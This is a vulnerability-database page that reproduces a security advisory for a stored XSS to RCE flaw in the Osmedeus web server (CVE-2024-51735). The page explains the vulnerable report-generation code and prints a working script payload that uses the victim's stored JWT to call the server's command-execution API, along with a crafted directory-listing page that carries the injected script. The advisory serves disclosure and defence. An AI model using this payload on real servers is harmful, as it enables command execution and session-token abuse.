NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Go

CVE-2024-51735: Osmedeus Web Server Vulnerable to Stored XSS, Leading to RCE

criticalCVSS 4.0 9.3GHSA-wvv7-wm5v-w2gv

Summary XSS occurs on the Osmedues web server when viewing results from the workflow, allowing commands to be executed on the server. Details When using a workflow that contains the summary module, it generates reports in HTML and Markdown formats. The default report is based on the general-template.md template. The contents of the files are read and used to generate the report.

Published Nov 5, 2024

Affected packages

github.com/j3ssie/osmedeus

Ecosystem
Go
Affected
<= 4.6.4
Fixed in
No patched version yet
Check
go list -m github.com/j3ssie/osmedeus

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

XSS occurs on the Osmedues web server when viewing results from the workflow, allowing commands to be executed on the server.

Details

When using a workflow that contains the summary module, it generates reports in HTML and Markdown formats. The default report is based on the general-template.md template.


  
  

  

  Execute Summary Generated by Osmedeus {{Version}} at {{CurrentDay}}

  
  
  
  
  


## Scan Information 

<scanInfo />

***

## 🚀 Subdomains

<content src="{{Output}}/subdomain/final-{{Workspace}}.txt" shorten=true />

***

## 🌐 HTTP Fingerprint

<content src="{{Output}}/fingerprint/beautify-{{Workspace}}-http.txt" />

***

## 🐞 Vulnerability

### List of Vulnerability Reports

- [**{{Workspace}}-report.html**]({{Output}}/vuln/active/{{Workspace}}-report.html)
- [**{{Workspace}}-sensitive.html**]({{Output}}/vuln/sensitive/{{Workspace}}-sensitive.html)
- [**{{Workspace}}-nuclei.html**]({{Output}}/vuln/nuclei/{{Workspace}}-nuclei.html)

### Jaeles Scan

<content src="{{Output}}/vuln/active/jaeles-summary.txt" />

<content src="{{Output}}/vuln/sensitive/jaeles-summary.txt" />

***

### Nuclei Scan

<content src="{{Output}}/vuln/nuclei/{{Workspace}}-nuclei-scan.txt" />

***

## 🕷️ Spider Content

<content src="{{Output}}/linkfinding/links-{{Workspace}}.txt"/>

***

## 📃 Content Discovery

<content src="{{Output}}/directory/unique-beautify-{{Workspace}}.txt" />

***


## 🔍 Port Scan

<content src="{{Output}}/portscan/open-ports.txt" />


***

The contents of the files are read and used to generate the report. However, the file contents are not properly filtered, leading to XSS The issue starts with processing the tags, and XSS occurs when the extendTag function is called.

https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L36 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L95 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L114 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L122-L124

The condition to enter this if branch must meet one of the following cases:

  • Tag shorten=true: In the default template, only subdomains have this tag ⇒ Subdomains cannot contain special characters, so XSS is not possible.
  • len(fileContent) > r.Opt.MDCodeBlockLimit: Simply put, the content length needs to exceed the MDCodeBlockLimit configuration (default is 10,000).

After reviewing the files loaded in the default template, we select Spider Content because it meets the conditions:

  • It can contain special characters since the spider retrieves results through Katana ⇒ Katana parses content based on tags ⇒ We can create custom payloads by leveraging this mechanism."
 <! -- Fake Index Content --> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li>1</li>
<li>alert(1)</script>">yxfzssjq_1721182234998.pdf</li>
</ul>
<hr>
</body>
</html>
  • Easily bypass the condition len(fileContent) > r.Opt.MDCodeBlockLimit
  • Spider is a module within the general workflow ⇒ a default workflow that is most commonly used

PoC

https://drive.google.com/file/d/1u-YowfzFV1tUqLaZk4s4Y1DykFhJZ8gR/view?usp=sharing

Payload RCE

<script>fetch(window.location.origin+'/api/osmp/execute',{method:'POST',body:JSON.stringify({command:'echo 1 >/tmp/js.txt',password:''}),headers:{Authorization:'Osmedeus '+localStorage.jwt,'Content-Type':'application/json'}});</script>

File index payload


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li>1</li>
<li>675559605-1278d133b090b74129f65f6d108d2c83.pdf</li>
<li>959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe</li>
<li>[MS-DOCX]-240416.docx</li>
<li>AnyDesk.exe</li>
<li>Attachment.zip</li>
<li>barker.tar</li>
<li>c1awptpm_1721182413858.pdf</li>
<li>cacert.der</li>
<li>caido-desktop-logs-1729480323.zip</li>
<li>caido-desktop-v0.41.0-win-x86_64.exe</li>
<li>caido-desktop-v0.42.0-win-x86_64.exe</li>
<li>cdd</li>
<li>CentOS-7-live-GNOME-x86_64.iso</li>
<li>chrome-integrate.zip</li>
<li>ChromeSetup.exe</li>
<li>Code_of_Conduct_Company_All-Consultants_v23_2023.01.12.pdf</li>
<li>CxSAST.950.Release.Setup_9.5.0.100.7z</li>
<li>CÁC QUY ĐỊNH &amp; TIÊU CHUẨN CẦN BIẾT CHO DOANH NGHIỆP NHỰA XUẤT KHẨU VÀO EU.pdf</li>
<li>Danh sach may chu T18.xlsx</li>
<li>de4dot-net45.zip</li>
<li>de4dot-netcoreapp3.1.zip</li>
<li>desktop.ini</li>
<li>disk-1.KkwpoIcO.vmdk.part</li>
<li>disk-1.vmdk</li>
<li>dist.zip</li>
<li>dnSpy-net-win64.zip</li>
<li>doc.9.1.0.rar</li>
<li>download</li>
<li>Earned_Achievements_2024-09-16.pdf</li>
<li>Eazfuscator.NET 2024.1 Setup.msi</li>
<li>flare-ida-master.zip</li>
<li>gitlab-recovery-codes.txt</li>
<li>Hacking Rust.pdf</li>
<li>Huong dan cai dat Oracle New.docx</li>
<li>ida83_sdk_tools_v2.zip</li>
<li>ida84_sdk_tools.zip</li>
<li>IDARustDemangler.py</li>
<li>idb2pat.py</li>
<li>incident-notification_26.03.2024-2.pdf</li>
<li>ironword.2024.8.3.nupkg</li>
<li>KCSC_Recruitment.pdf</li>
<li>Kế hoạch đào tạo 05102023 (2).xlsx</li>
<li>linkfinder.json</li>
<li>Margherita Report Demo_report.pdf</li>
<li>Mastering_Malware_Analysis.pdf</li>
<li>Mẫu-Danh sach Quan ly Backup-CS_v1.xlsx</li>
<li>node-v20.17.0-x64.msi</li>
<li>OpenJDK21U-jdk_x64_windows_hotspot_21.0.4_7.zip</li>
<li>OSED Notes Study Overview by Joas Antonio.pdf</li>
<li>PAKD paytech.xlsx</li>
<li>password</li>
<li>patriotctf.rar</li>
<li>pestudio-9.59.zip</li>
<li>photo_2023-01-04_09-04-52.jpg</li>
<li>photo_2023-01-04_09-04-55 (2).jpg</li>
<li>photo_2023-01-04_09-04-55.jpg</li>
<li>photo_2024-09-27_09-47-55.jpg</li>
<li>Phụ lục 5.xlsx</li>
<li>plugin.zip</li>
<li>processhacker-2.39-setup.exe</li>
<li>publications.pdf</li>
<li>pwnfox.json</li>
<li>pykd_ext_2.0.0.25.zip</li>
<li>rp-win.zip</li>
<li>rs.zip</li>
<li>rustup-init.exe</li>
<li>setup.exe</li>
<li>Single Page Applications with Vue.js.rar</li>
<li>Skilled_Person_Registration_Template_2pWPpnl.xlsx</li>
<li>snapshot_2024-10-03_12-14.zip</li>
<li>spire.doc.12.7.3.nupkg</li>
<li>spire.doc.9.1.0.nupkg</li>
<li>spire.doc.cpp.11.4.5.nupkg</li>
<li>sticker.webm</li>
<li>Telegram Desktop/</li>
<li>test</li>
<li>test.php</li>
<li>test2</li>
<li>test1.php</li>
<li>test2.php</li>
<li>test3.php</li>
<li>test4.php</li>
<li>test5.php</li>
<li>test6.php</li>
<li>test7.php</li>
<li>test8.php</li>
<li>test9.php</li>
<li>test10.php</li>
<li>test11.php</li>
<li>test12.php</li>
<li>test13.php</li>
<li>test14.php</li>
<li>test15.php</li>
<li>test16.php</li>
<li>test17.php</li>
<li>test18.php</li>
<li>test19.php</li>
<li>test20.php</li>
<li>test21.php</li>
<li>test22.php</li>
<li>test23.php</li>
<li>test24.php</li>
<li>test25.php</li>
<li>test26.php</li>
<li>test27.php</li>
<li>test28.php</li>
<li>test29.php</li>
<li>test30.php</li>
<li>test31.php</li>
<li>test32.php</li>
<li>test33.php</li>
<li>test34.php</li>
<li>test35.php</li>
<li>test36.php</li>
<li>test37.php</li>
<li>test38.php</li>
<li>test39.php</li>
<li>test40.php</li>
<li>test41.php</li>
<li>test42.php</li>
<li>test43.php</li>
<li>test44.php</li>
<li>test45.php</li>
<li>test46.php</li>
<li>test47.php</li>
<li>test48.php</li>
<li>test49.php</li>
<li>test50.php</li>
<li>test51.php</li>
<li>test52.php</li>
<li>test53.php</li>
<li>test54.php</li>
<li>test55.php</li>
<li>test56.php</li>
<li>test57.php</li>
<li>test58.php</li>
<li>test59.php</li>
<li>test60.php</li>
<li>test61.php</li>
<li>test62.php</li>
<li>test63.php</li>
<li>test64.php</li>
<li>test65.php</li>
<li>test66.php</li>
<li>test67.php</li>
<li>test68.php</li>
<li>test69.php</li>
<li>test70.php</li>
<li>test71.php</li>
<li>test72.php</li>
<li>test73.php</li>
<li>test74.php</li>
<li>test75.php</li>
<li>test76.php</li>
<li>test77.php</li>
<li>test78.php</li>
<li>test79.php</li>
<li>test80.php</li>
<li>test81.php</li>
<li>test82.php</li>
<li>test83.php</li>
<li>test84.php</li>
<li>test85.php</li>
<li>test86.php</li>
<li>test87.php</li>
<li>test88.php</li>
<li>test89.php</li>
<li>test90.php</li>
<li>test91.php</li>
<li>test92.php</li>
<li>test93.php</li>
<li>test94.php</li>
<li>test95.php</li>
<li>test96.php</li>
<li>test97.php</li>
<li>test98.php</li>
<li>test99.php</li>
<li>test100.php</li>
<li>test101.php</li>
<li>test102.php</li>
<li>test103.php</li>
<li>test104.php</li>
<li>test105.php</li>
<li>test106.php</li>
<li>test107.php</li>
<li>test108.php</li>
<li>test109.php</li>
<li>test110.php</li>
<li>test111.php</li>
<li>test112.php</li>
<li>test113.php</li>
<li>test114.php</li>
<li>test115.php</li>
<li>test116.php</li>
<li>test117.php</li>
<li>test118.php</li>
<li>test119.php</li>
<li>test120.php</li>
<li>test121.php</li>
<li>test122.php</li>
<li>test123.php</li>
<li>test124.php</li>
<li>test125.php</li>
<li>test126.php</li>
<li>test127.php</li>
<li>test128.php</li>
<li>test129.php</li>
<li>test130.php</li>
<li>test131.php</li>
<li>test132.php</li>
<li>test133.php</li>
<li>test134.php</li>
<li>test135.php</li>
<li>test136.php</li>
<li>test137.php</li>
<li>test138.php</li>
<li>test139.php</li>
<li>test140.php</li>
<li>test141.php</li>
<li>test142.php</li>
<li>test143.php</li>
<li>test144.php</li>
<li>test145.php</li>
<li>test146.php</li>
<li>test147.php</li>
<li>test148.php</li>
<li>test149.php</li>
<li>test150.php</li>
<li>test151.php</li>
<li>test152.php</li>
<li>test153.php</li>
<li>test154.php</li>
<li>test155.php</li>
<li>test156.php</li>
<li>test157.php</li>
<li>test158.php</li>
<li>test159.php</li>
<li>test160.php</li>
<li>test161.php</li>
<li>test162.php</li>
<li>test163.php</li>
<li>test164.php</li>
<li>test165.php</li>
<li>test166.php</li>
<li>test167.php</li>
<li>test168.php</li>
<li>test169.php</li>
<li>test170.php</li>
<li>test171.php</li>
<li>test172.php</li>
<li>test173.php</li>
<li>test174.php</li>
<li>test175.php</li>
<li>test176.php</li>
<li>test177.php</li>
<li>test178.php</li>
<li>test179.php</li>
<li>test180.php</li>
<li>test181.php</li>
<li>test182.php</li>
<li>test183.php</li>
<li>test184.php</li>
<li>test185.php</li>
<li>test186.php</li>
<li>test187.php</li>
<li>test188.php</li>
<li>test189.php</li>
<li>test190.php</li>
<li>test191.php</li>
<li>test192.php</li>
<li>test193.php</li>
<li>test194.php</li>
<li>test195.php</li>
<li>test196.php</li>
<li>test197.php</li>
<li>test198.php</li>
<li>test199.php</li>
<li>test200.php</l

Credited to n00b-bot.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology